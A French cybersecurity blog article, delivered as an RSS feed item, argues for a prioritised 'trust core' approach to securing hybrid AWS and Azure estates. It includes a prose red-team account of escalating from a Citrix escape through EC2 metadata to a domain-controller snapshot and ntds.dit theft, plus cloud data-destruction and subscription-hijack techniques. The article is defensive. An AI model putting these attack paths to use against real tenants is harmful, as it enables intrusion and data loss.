<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Arnaud PETITCOL, Auteur</title>
	<atom:link href="https://www.riskinsight-wavestone.com/author/arnaud-petitcol/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/author/arnaud-petitcol/</link>
	<description>Le blog cybersécurité des consultants Wavestone</description>
	<lastBuildDate>Wed, 28 Jan 2026 09:08:23 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>Arnaud PETITCOL, Auteur</title>
	<link>https://www.riskinsight-wavestone.com/author/arnaud-petitcol/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Sécurité orientée cloud : Adaptation à une nouvelle réalité</title>
		<link>https://www.riskinsight-wavestone.com/2026/01/securite-orientee-cloud-adaptation-a-une-nouvelle-realite/</link>
					<comments>https://www.riskinsight-wavestone.com/2026/01/securite-orientee-cloud-adaptation-a-une-nouvelle-realite/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud PETITCOL]]></dc:creator>
		<pubDate>Wed, 28 Jan 2026 09:08:21 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[ABAC]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[Cloud security]]></category>
		<category><![CDATA[Coeur de confiance]]></category>
		<category><![CDATA[Coeur de confiance Cloud]]></category>
		<category><![CDATA[Cybersécurité]]></category>
		<category><![CDATA[enterprise access model]]></category>
		<category><![CDATA[IAM Cloud]]></category>
		<category><![CDATA[Landing Zone]]></category>
		<category><![CDATA[REX RedTeam]]></category>
		<category><![CDATA[sécurité cloud]]></category>
		<category><![CDATA[Socle de sécurité cloud]]></category>
		<category><![CDATA[Tiering]]></category>
		<category><![CDATA[Trust Core Cloud]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=28879</guid>

					<description><![CDATA[<p>Les audits et missions de redteam menés par Wavestone ont mis en évidence un déséquilibre frappant entre la maturité des protections des infrastructures on-premise et celles déployées dans le cloud. Les infrastructures on-premise sont généralement bien identifiées, maîtrisées et protégées...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2026/01/securite-orientee-cloud-adaptation-a-une-nouvelle-realite/">Sécurité orientée cloud : Adaptation à une nouvelle réalité</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Les audits et missions de redteam menés par Wavestone ont mis en évidence un <strong>déséquilibre frappant entre la maturité des protections des infrastructures on-premise et celles déployées dans le cloud</strong>. Les infrastructures on-premise sont généralement bien identifiées, maîtrisées et protégées selon des standards éprouvés, tandis que leurs équivalents cloud restent souvent sous-évalués en termes de risques et par conséquent insuffisamment sécurisés.</p>
<p> </p>
<h2>Le principe de tiering préconisé sur les infrastructures on-premise est-il applicable au cloud ?</h2>
<h3>Évolution du modèle de sécurité</h3>
<p>Dans les environnements on-premise, en particulier <strong>Active Directory</strong>, la sécurité des infrastructures s&rsquo;appuie généralement sur une <strong>segmentation stricte en trois niveaux (T0, T1 et T2)</strong> permettant d’isoler les systèmes d’administration critiques (T0), les serveurs (T1) et les postes utilisateurs (T2) afin de limiter les risques de propagation.</p>
<p>Cette organisation hiérarchique et périmétrique est inhérente au monde AD et ne peut être directement appliquée au cloud pour ces deux principales raisons :</p>
<ul>
<li><strong>Les portails sont centralisés</strong>: une grande diversité d’administrateurs aux droits différents interagit avec la même URL.</li>
<li><strong>La frontière entre les niveaux d’administration est complexifiée</strong>: le principe de permission fine, par rôle (RBAC), par attribut de ressources (ABAC), selon certaines conditions (provenance, risque, conformité, méthode d’authentification…) permet de configurer des accès très précisément, mais complexifie et floute la vision globale des permissions.</li>
</ul>
<p>Afin de proposer une réponse à ce nouveau paradigme, Microsoft a publié son Enterprise Access Model (<span style="color: #333399;"><a style="color: #333399;" href="https://learn.microsoft.com/en-us/security/privileged-access-workstations/privileged-access-access-model">décrit ici</a></span>), mettant en évidence 3 principaux plans : le <em>Control Plane</em>, <em>Management Plane</em> et <em>Data Plane</em>.</p>
<p>Ce modèle reprend la <strong>criticité « en cascade »</strong>, mais simplifiant :</p>
<ul>
<li>les 3 tiers en <strong>2 accès : administrateur vs utilisateur</strong><strong> </strong>;</li>
<li>les flux d’administration en accès au portail ;</li>
<li>la criticité des serveurs en les centralisant dans le <em>Data plane.</em></li>
</ul>
<p>Une illustration de l’ancien et du nouveau modèle :</p>
<figure id="attachment_28880" aria-describedby="caption-attachment-28880" style="width: 1669px" class="wp-caption aligncenter"><img fetchpriority="high" decoding="async" class="size-full wp-image-28880" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Du-modele-en-trois-tiers-a-la-complexite-du-cloud.png" alt="Du modèle en trois tiers à la complexité du cloud" width="1669" height="818" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Du-modele-en-trois-tiers-a-la-complexite-du-cloud.png 1669w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Du-modele-en-trois-tiers-a-la-complexite-du-cloud-390x191.png 390w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Du-modele-en-trois-tiers-a-la-complexite-du-cloud-71x35.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Du-modele-en-trois-tiers-a-la-complexite-du-cloud-768x376.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Du-modele-en-trois-tiers-a-la-complexite-du-cloud-1536x753.png 1536w" sizes="(max-width: 1669px) 100vw, 1669px" /><figcaption id="caption-attachment-28880" class="wp-caption-text"><em>Du modèle en trois tiers à la complexité du cloud</em></figcaption></figure>
<p> </p>
<p>Ce nouveau modèle met particulièrement en valeur 3 éléments :</p>
<ul>
<li>L’<strong>identité</strong> de l’utilisateur : accès privilégié vs accès utilisateur ;</li>
<li>La <strong>donnée</strong> et les services : au détriment des serveurs ;</li>
<li>La <strong>méthode d’accès</strong> aux portails web d’administration.</li>
</ul>
<p>L’inversion des importances entre « serveurs » et « portails web » abstrayant l’Active Directory est un changement radical.</p>
<p>Cependant, très peu (si ce n’est aucune) grande structure en est à ce niveau d’abandon de son SI « legacy », une grande partie sera dans un état transitoire où <strong>ce SI aura été virtualisé sur un Cloud</strong> afin de se séparer de ses datacenters, mais dont les modalités d’administration sont restées les mêmes.</p>
<p>Ces entreprises doivent donc traiter avec un <em>tiering model</em> désuet et un Enterprise Access Model décoléré des risques et besoins de sécurité actuels.</p>
<p>Pour la suite de cet article, nous prendrons comme exemple la société <strong>Tartampion</strong>, qui vient de terminer un programme <strong>Move-to-Cloud de 3 ans sur AWS</strong>. Le bilan est le suivant :</p>
<ul>
<li>Une Landing Zone a été créée, les applications déjà sur AWS y ont été intégrées</li>
<li>Les Data Center ont été fermés</li>
<li>Pris par le manque de temps et de moyens, une majeure partie du SI a été incorporé en lift and shift, incluant des solutions métiers, réseau, bastion et AD.</li>
</ul>
<p> </p>
<h3>Un SI hybride et virtualisé qui pose problème</h3>
<p>Selon l’EAM, les portails Azure et AWS sont affichés au même niveau (le <em>management plane</em>) au rang T1, sans autre forme de distinction. Or ces 2 environnements cloud sont à eux seuls le support de nombreux SI, utilisés par de multiples collaborateurs avec des niveaux de droits et d’impacts très variés.</p>
<p>Pour illustrer les précédents propos, mettons de côté l’aspect <em>Digital Workplace</em> (suite O365) et prenons 3 comptes AWS issus d’une Landing Zone de Tartampion, supportant différents services d’infrastructure :</p>
<figure id="attachment_28882" aria-describedby="caption-attachment-28882" style="width: 1695px" class="wp-caption aligncenter"><img decoding="async" class="size-full wp-image-28882" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Exemple-de-comptes-AWS-pour-une-entreprise.png" alt="Exemple de comptes AWS pour une entreprise" width="1695" height="345" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Exemple-de-comptes-AWS-pour-une-entreprise.png 1695w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Exemple-de-comptes-AWS-pour-une-entreprise-437x89.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Exemple-de-comptes-AWS-pour-une-entreprise-71x14.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Exemple-de-comptes-AWS-pour-une-entreprise-768x156.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Exemple-de-comptes-AWS-pour-une-entreprise-1536x313.png 1536w" sizes="(max-width: 1695px) 100vw, 1695px" /><figcaption id="caption-attachment-28882" class="wp-caption-text"><em>Exemple de comptes AWS pour une entreprise</em></figcaption></figure>
<p> </p>
<p>En se fiant au référentiel proposé par Microsoft, ces <strong>trois comptes AWS devraient appartenir au Management plane</strong> avec un niveau de sécurité T1. Cependant, en cas de compromission d’un des 3 comptes par un attaquant, les impacts seraient très différents.</p>
<p>Si la Landing Zone est correctement implémentée, la compromission d’un compte de Sandbox n’aurait que très peu d’impact, tandis que celle du Master Account entrainerait celle de tous les comptes et ressources sous-jacentes.</p>
<p>Un exemple de découpage plus adéquat serait le suivant :</p>
<figure id="attachment_28884" aria-describedby="caption-attachment-28884" style="width: 1679px" class="wp-caption aligncenter"><img decoding="async" class="size-full wp-image-28884" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-etendu-a-lEnterprise-Access-Model.png" alt="Tiering Model étendu à l’Enterprise Access Model" width="1679" height="674" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-etendu-a-lEnterprise-Access-Model.png 1679w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-etendu-a-lEnterprise-Access-Model-437x175.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-etendu-a-lEnterprise-Access-Model-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-etendu-a-lEnterprise-Access-Model-768x308.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Tiering-Model-etendu-a-lEnterprise-Access-Model-1536x617.png 1536w" sizes="(max-width: 1679px) 100vw, 1679px" /><figcaption id="caption-attachment-28884" class="wp-caption-text"><em>Tiering Model étendu à l’Enterprise Access Model</em></figcaption></figure>
<p> </p>
<p>L’Enterprise Access Model par Microsoft est un <strong>framework macroscopique</strong> permettant d’initier une base de découpage des services cloud, mais <strong>qui reste à adapter</strong> selon la criticité des SI concernés.</p>
<p>Comment le rendre pertinent ? Pour répondre, il faut comprendre les scénarios d’attaque exploitant les services cloud.</p>
<p> </p>
<h2>Le Cloud vu de l’attaquant</h2>
<h3>5 principes du cloud favorisant les attaques</h3>
<p>Premièrement, les <strong>infrastructures cloud sont par défaut exposées sur Internet</strong>, contrairement aux ressources sensibles d’un SI. Ainsi, un phishing réussi conduit très probablement à un accès sur le Cloud.</p>
<p>Deuxièmement, les entreprises ont aujourd’hui des <strong>organisations hybrides</strong> (on-premise et cloud) :</p>
<ul>
<li>Les <strong>infrastructures cloud sont reliées au reste du SI on-premise</strong> ;</li>
<li>Les <strong>postes de travail</strong> peuvent également être <strong>hybrides</strong> et gérés par un service cloud comme Intune. Les permissions pour utiliser ce service sont gérées dans Entra ID ;</li>
<li>Les identités sont souvent des <strong>comptes synchronisés</strong>, cela concerne également les comptes d’administration.</li>
</ul>
<p>Les organisations hybrides peuvent faciliter les latéralisations entre le cloud et l’on-premise.</p>
<p>Troisièmement, la <strong>gestion des identités est très complexe avec différentes portées</strong>. Par exemple, Entra ID permet de gérer les accès à Azure et M365 aussi bien pour des utilisateurs, que des applications que des comptes de service.</p>
<p>Pour compléter, les notions de cybersécurité liées au Cloud sont encore relativement nouvelles et méconnues pour certaines équipes « legacy », comme le SOC/CERT, le réseau&#8230; Les <strong>ressources cloud les plus sensibles ne sont pas systématiquement identifiées, protégées et surveillées</strong>.</p>
<p>Enfin, même si des mécanismes de détection natifs sont présents, ils ne sont <strong>pas toujours interconnectés avec les SIEM/SOAR</strong>, ce qui ralentit les capacités d’intervention. Une récente opération Purple Team menée sur des infrastructures Azure et AWS a confirmé que les <strong>outils de détection natifs ont une capacité de détection limitée</strong>. Il s’agit d’un <strong>constat retrouvable dans les Red Team puisqu’avec une démarche « OpSec », les outils de détection cloud sont rarement capables d’identifier une attaque en cours</strong>.</p>
<p> </p>
<h3>REX de nos tests d’intrusion &amp; Red Team</h3>
<p>Issus des opérations de Red Team menées récemment, ces chemins d’attaques spécifiques aux environnements cloud sont témoin des impacts et des facilités qu’il est possible d’avoir pour s’élever en privilège jusqu’à obtenir des accès très permissifs :</p>
<figure id="attachment_28886" aria-describedby="caption-attachment-28886" style="width: 1689px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28886" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Exemples-de-chemins-dattaques-Cloud-exploites-en-Red-Team.png" alt="Exemples de chemins d’attaques Cloud exploités en Red Team" width="1689" height="761" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Exemples-de-chemins-dattaques-Cloud-exploites-en-Red-Team.png 1689w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Exemples-de-chemins-dattaques-Cloud-exploites-en-Red-Team-424x191.png 424w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Exemples-de-chemins-dattaques-Cloud-exploites-en-Red-Team-71x32.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Exemples-de-chemins-dattaques-Cloud-exploites-en-Red-Team-768x346.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Exemples-de-chemins-dattaques-Cloud-exploites-en-Red-Team-1536x692.png 1536w" sizes="auto, (max-width: 1689px) 100vw, 1689px" /><figcaption id="caption-attachment-28886" class="wp-caption-text"><em>Exemples de chemins d’attaques Cloud exploités en Red Team</em></figcaption></figure>
<p> </p>
<p>Le premier scénario, effectué sur AWS, est décrit ci-dessous, les deux autres ont été analysés dans une série d’articles Risk Insight disponible <span style="color: #333399;"><a style="color: #333399;" href="https://www.riskinsight-wavestone.com/2025/01/enterprise-access-model-1-2-comment-definir-un-control-plane-pour-securiser-ladministration-cloud-et-empecher-une-compromission-a-grande-echelle/">ici</a></span>.</p>
<p> </p>
<p><span style="text-decoration: underline;"><em><strong>Reconnaissance et Accès initial</strong></em></span></p>
<p>Des catégories d’employés sont généralement <strong>ciblées afin de compromettre une personne avec des droits intéressants dans le SI (Développeur, Support, OPS…)</strong>. Un moyen souvent utilisé est d’utiliser du <strong>phishing</strong>. Les mécanismes de <a href="https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/"><span style="color: #333399;">phishing actuel</span></a> sont capables de contourner l’usage de mots de passe complexe et la plupart des méthodes de MFA (Multi-Factor Authentication).</p>
<p> </p>
<p><em><span style="text-decoration: underline;"><strong>Escalade de privilèges et mouvements latéraux</strong></span></em></p>
<p>Dans le premier scénario, un développeur compromis possédait des accès à une ferme Citrix. Les <strong>environnements Citrix ne sont pas simples à durcir complètement </strong>et quelques vulnérabilités d’échappement ont permis à la Red Team d’avoir un accès au serveur sous-jacent.</p>
<p>Les informations récoltées sur la machine ont indiqué que le serveur pouvait être hébergé sur AWS. Cela s’est vérifié en essayant d’<strong>accéder aux métadonnées AWS du serveur </strong>: l’instance avait des droits sur le compte AWS du client. La machine virtuelle du Citrix possédait le rôle « <strong>AmazonEC2FullAccess </strong>» lui permettant des actions de gestion sur les EC2 du même compte AWS.</p>
<p>À l’aide de la CLI AWS, les autres EC2 ont été listées. Un contrôleur de domaine du client était présent dans ce compte AWS. C’est une pratique courante de vouloir regrouper dans un même compte, généralement appelé « Shared Services », les services qui ont pour vocation d’être utilisés par plusieurs projets. Il est néanmoins recommandé de <strong>vérifier que la criticité des services partagés soit homogène de sorte à pouvoir appliquer un durcissement adéquat</strong> sur le compte, ou les séparer en plusieurs environnements.</p>
<p> </p>
<p><em><span style="text-decoration: underline;"><strong>Actions sur les trophées</strong></span></em></p>
<p>À partir du rôle AWS du serveur Citrix, <strong>une sauvegarde instantanée du contrôleur de domaine a été faite puis téléchargée</strong>. Les sauvegardes d’un contrôleur de domaine contiennent tous les fichiers de la machine, y compris les fichiers les plus sensibles, comme la base <em>ntds.dit</em>, qui contient les informations et secrets de tous les utilisateurs du domaine. L’exfiltration de cette base se traduit en la compromission totale du domaine AD concerné.</p>
<p>Ce scénario illustre l&rsquo;un des chemins d’attaques qui ont été exploités lors des opérations de redteam, facilité par le manque de visibilité sur les impacts que peuvent avoir une ressource compromise hébergée sur le cloud.</p>
<p> </p>
<h3>Des impacts plus rapides et plus forts</h3>
<p>Les attaques déjà possibles sur un SI on-premise peuvent être reproduites et même <strong>accélérées grâce aux fonctionnalités du cloud</strong>. Par exemple, le chiffrement de buckets S3 (service de stockage de fichiers) à partir d’une clé KMS (de chiffrement) d’un autre compte AWS imite le chiffrement massif de données, ou l’utilisation de la fonctionnalité « lifecycle » permet une suppression de tous les objets en moins de 24 heures, peu importe la quantité de données.</p>
<p>De nouvelles attaques sont également apparues comme le « <strong>Hijack de souscription</strong> » qui permet de <strong>rattacher un abonnement d’une organisation Azure à une autre</strong> et ainsi de voler toutes les données qu’il contient et empêcher les actions de remédiation. Cette attaque est réalisable en quelques clics depuis l’interface web Azure.</p>
<p> </p>
<h2>Identification et protection du cœur de confiance cloud</h2>
<h3>Identification du Cœur de confiance</h3>
<p><strong>Le cœur de confiance</strong> adopte une approche centrée sur la priorisation des actifs, qui diffère du modèle de tiering ou de l’Enterprise Access Model de Microsoft. Contrairement à ces modèles qui proposent un découpage prédéfini, il n’existe pas de grille universelle : chaque organisation doit identifier elle-même quelles ressources méritent le plus haut niveau de protection. L’idée est d’établir un <strong>cercle restreint de ressources critiques</strong> (qu’elles soient cloud ou on-premise) puis de <strong>déployer des niveaux de protection dégressifs à mesure que l’on s’éloigne de ce cœur</strong><strong>.</strong></p>
<p>L’identification du cœur de confiance repose sur <strong>deux grands critères</strong> :</p>
<ul>
<li><strong>Criticité métier</strong>: ce sont les ressources qui concentrent la valeur et la continuité des activités de l’entreprise. Si elles venaient à être perdues ou compromises, les conséquences seraient immédiates pour le fonctionnement quotidien et financièrement. Un environnement SharePoint contenant la donnée intellectuelle / brevets en est un exemple courant ;</li>
<li><strong>Criticité SI</strong>: il s’agit des ressources qui assurent l’administration du système d’information et qui disposent d’un niveau d’accès élevé. Leur compromission aurait un impact majeur sur l’ensemble du SI et permettrait d’avoir l’impact métier précédemment énoncé. On retrouve ici les contrôleurs de domaine ou encore les services d’IAM Cloud comme Entra ID et AWS Identity Center.</li>
</ul>
<p><em><strong> </strong></em></p>
<p>Cette cartographie n’est jamais totalement tranchée. Pour certains éléments, la posture à adopter reste plus floue, deux exemples l’illustrent bien :</p>
<ul>
<li><strong>L’EDR</strong>: élément de sécurité évident d’un SI, systématiquement déployé tant sur les postes de travail que sur les serveurs cloud <strong>et</strong> on-premise, sa console d’administration est de plus en plus souvent exposée sur internet, et permet d’exécuter des commandes arbitraires sur les équipements qui en sont équipés.</li>
<li><strong>Les chaînes CICD</strong>: un savant, mais complexe agglomérat d’applications s’appelant entre elles, dont l’accès (le gestionnaire de code : GitLab, GitHub…) est offert à l’ensemble des collaborateurs et les droits sur le SI (manipulé par les runners de déploiement) sont bien souvent administrateur de l’ensemble des infrastructures cloud. Sur l’ensemble des <strong>Red Team effectués en 2024 &amp; 2025, 80% ont exploité des vulnérabilités associées</strong> à ses solutions pour progresser dans leur opération, voire obtenir des trophées de compromission par ce biais.</li>
</ul>
<p> </p>
<p>Afin d’identifier le « noyau dur » du cœur de confiance, qu’on appellera <strong>socle de sécurité</strong>, on peut reprendre les préceptes de l’ancien T0 : la compromission d’un de ses éléments entrainerait probablement celles des autres, et par cascade de la majeure partie du SI.</p>
<p>En supposant que vos applications appliquent un correct cloisonnement interutilisateur (l’intégralité de vos sites SharePoint n’est pas accessible par tous, n’est-ce pas ?), les références aux prochaines applications seront à comprendre comme des <strong>accès administrateurs</strong> / super-utilisateurs à ces dernières, et non simple utilisateur.</p>
<p>Voici l’une des représentations possibles pour un cœur de confiance hybride :</p>
<figure id="attachment_28888" aria-describedby="caption-attachment-28888" style="width: 1680px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28888" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Proteger-lessentiel-votre-coeur-de-confiance.png" alt="Protéger l’essentiel, votre cœur de confiance" width="1680" height="998" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Proteger-lessentiel-votre-coeur-de-confiance.png 1680w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Proteger-lessentiel-votre-coeur-de-confiance-322x191.png 322w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Proteger-lessentiel-votre-coeur-de-confiance-66x39.png 66w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Proteger-lessentiel-votre-coeur-de-confiance-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Proteger-lessentiel-votre-coeur-de-confiance-768x456.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Proteger-lessentiel-votre-coeur-de-confiance-1536x912.png 1536w" sizes="auto, (max-width: 1680px) 100vw, 1680px" /><figcaption id="caption-attachment-28888" class="wp-caption-text"><em>Protéger l’essentiel, votre cœur de confiance</em></figcaption></figure>
<p> </p>
<p>Dans cette représentation, il y a côté on-premise :</p>
<ul>
<li><strong>Le T0</strong> avec ses contrôleurs de domaine, l’ADCS, et potentiellement la PKI, le bastion, la console EDR…</li>
<li><strong>Le T1</strong> en intégrant en plus les applications métiers à fort impact.</li>
</ul>
<p>Et côté Cloud, on retrouve :</p>
<ul>
<li>Au cœur le <strong>Control Plane</strong> (AWS Orga &amp; Identity Center, Entra ID) ainsi que les modules de la Landing Zone supportant le <strong>T0</strong> (si une partie du T0 est hébergée dans le Cloud) ;</li>
<li>En s’éloignant, les diverses <strong>consoles d’administration</strong> des suites de bureautique, et de management des infrastructures ou des applications.</li>
</ul>
<p>En établissant ce diagramme, il est important de garder à l’esprit que :</p>
<ul>
<li><strong>L’IT sert au métier</strong> et quand bien même la zone centrale du cœur de confiance est principalement occupée par des briques techniques, il convient d’inscrire ses solutions critiques ;</li>
<li><strong>Les</strong> <strong>chaînes de dépendance</strong> / compromission ont beaucoup d’impact sur les <strong>choix d’architecture</strong>: positionner un AD sur AWS, ou déployer un EDR sur un AD peut soudainement créer de nombreux chemins de compromission et de rebond entre les 2 mondes.</li>
</ul>
<p>Enfin, la construction d’un cœur de confiance ne peut pas se limiter à une logique de classification statique. Elle doit reposer sur <strong>une approche qui évalue la criticité de chaque actif et le risque qu’il introduit</strong> (une entreprise de développement de logiciel ne positionnera surement son Git au même niveau qu’une entreprise de travaux public).</p>
<p> </p>
<h3>Protection du cœur de confiance cloud</h3>
<p>La sécurité du cœur de confiance va reposer sur les deux traditionnels facteurs de risques :</p>
<ul>
<li><strong>Réduire l’impact</strong>: comment empêcher un utilisateur compromis ou malveillant de se connecter aux portails cloud sur un navigateur et de faire des actions sensibles en quelques clics, comme faire une sauvegarde d’un contrôleur de domaine hébergé sur une VM ou supprimer les sauvegardes de données de production ?</li>
<li><strong>Réduire la probabilité </strong>: comment réduire les risques d’accès illégitimes à partir d’un cookie de session volé par phishing, de la compromission d’un poste de travail ou de la réutilisation de mots de passe des utilisateurs ?</li>
</ul>
<p> </p>
<p><strong><em><span style="text-decoration: underline;">Protection du socle de sécurité cloud</span></em></strong></p>
<p>Concernant le « socle de sécurité » cloud il est possible de hiérarchiser les environnements par criticité selon cette échelle macroscopique :</p>
<figure id="attachment_28890" aria-describedby="caption-attachment-28890" style="width: 1641px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28890" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Les-principaux-niveaux-du-socle-de-securite-cloud.png" alt="Les principaux niveaux du socle de sécurité cloud" width="1641" height="678" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Les-principaux-niveaux-du-socle-de-securite-cloud.png 1641w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Les-principaux-niveaux-du-socle-de-securite-cloud-437x181.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Les-principaux-niveaux-du-socle-de-securite-cloud-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Les-principaux-niveaux-du-socle-de-securite-cloud-768x317.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Les-principaux-niveaux-du-socle-de-securite-cloud-1536x635.png 1536w" sizes="auto, (max-width: 1641px) 100vw, 1641px" /><figcaption id="caption-attachment-28890" class="wp-caption-text"><em>Les principaux niveaux du socle de sécurité cloud</em></figcaption></figure>
<p> </p>
<p>En fonction des équipes en charge et de la complexité de les inclure dans un niveau de protection particulièrement élevée, certaines organisations font le choix d’exclure des environnements dont la compromission ne permettrait pas une latéralisation dangereuse, telle que ceux de FinOps, de détection, le Digital Workplace…</p>
<p>La sécurisation du socle de sécurité cloud repose sur 2 principaux points :</p>
<ul>
<li>Une <strong>hygiène</strong> impeccable : configuration IAM épurée, respect du moindre privilège, procédure de déploiement, limitation des ressources au strict nécessaire…</li>
<li>Une couche de sécurité passive / active : déploiement de <strong>politiques</strong> (SCP sur AWS, Policy sur Azure) interdisant explicitement certaines actions, ou la manipulation de certaines ressources, et <strong>règles de détection</strong> afin de lever une alerte en cas de modification d’une politique ou l’occurrence d’un de ses évènements protégés ;</li>
</ul>
<p>Ces politiques peuvent efficacement être associées à une <strong>stratégie de tagging</strong> afin d’appliquer, en plus du modèle RBAC (Role Based Access Control) un modèle ABAC (Attribute Based Access Control).</p>
<p>Par exemple il est possible de tagger différentes ressources avec une clé « tiering » et une valeur entre « T0 », « T1 », « T2 » puis de déployer cet ensemble de stratégies :</p>
<ul>
<li>Interdire toute action visant une ressource taguée tiering par une identité dont la valeur de son propre tag tiering n’est pas équivalente ;</li>
<li>Interdire la manipulation de tag tiering, sauf pour un rôle bien précis.</li>
</ul>
<p>Et voilà comment, en quelques tags et 2 SCP, il est possible de répliquer le tiering model de Microsoft (quelques exceptions peuvent subvenir).</p>
<p> </p>
<p><strong><em><span style="text-decoration: underline;">Protections des identités et des accès</span></em></strong></p>
<p>Pour protéger les utilisateurs, 3 thématiques de durcissement peuvent être mises en place :</p>
<ul>
<li><strong>Identité </strong>: avec quel compte l’utilisateur se connecte-t-il aux interfaces d’administration cloud ? Comment les droits sont-ils obtenus ?</li>
<li><strong>MFA</strong> : l’identité est-elle protégée avec une authentification multifactorielle résistante aux attaques de phishing ?</li>
<li><strong>Provenance</strong>: à partir de quelle plateforme l’utilisateur se connecte-t-il aux interfaces d’administration cloud ? La plateforme est-elle managée, et saine ?</li>
</ul>
<p>Plusieurs niveaux de protection sont envisageables afin de protéger les administrateurs cloud :</p>
<figure id="attachment_28892" aria-describedby="caption-attachment-28892" style="width: 1684px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28892" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligner-le-niveau-de-protection-avec-le-niveau-de-risque.png" alt="Aligner le niveau de protection avec le niveau de risque" width="1684" height="835" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligner-le-niveau-de-protection-avec-le-niveau-de-risque.png 1684w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligner-le-niveau-de-protection-avec-le-niveau-de-risque-385x191.png 385w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligner-le-niveau-de-protection-avec-le-niveau-de-risque-71x35.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligner-le-niveau-de-protection-avec-le-niveau-de-risque-768x381.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Aligner-le-niveau-de-protection-avec-le-niveau-de-risque-1536x762.png 1536w" sizes="auto, (max-width: 1684px) 100vw, 1684px" /><figcaption id="caption-attachment-28892" class="wp-caption-text"><em>Aligner le niveau de protection avec le niveau de risque</em></figcaption></figure>
<p> </p>
<p>Afin de protéger le <strong>cœur de confiance restreint</strong>, représenté par les triples cadenas, il est recommandé de mettre en œuvre les <strong>facteurs d’authentification les plus robustes</strong>. Cela inclut l’utilisation d’un compte dédié à l’administration cloud, l’activation d’une authentification multifactorielle physique (exemple : clé de sécurité FIDO2) et le recours à un poste de travail spécifiquement réservé aux opérations sur ce cœur de confiance.</p>
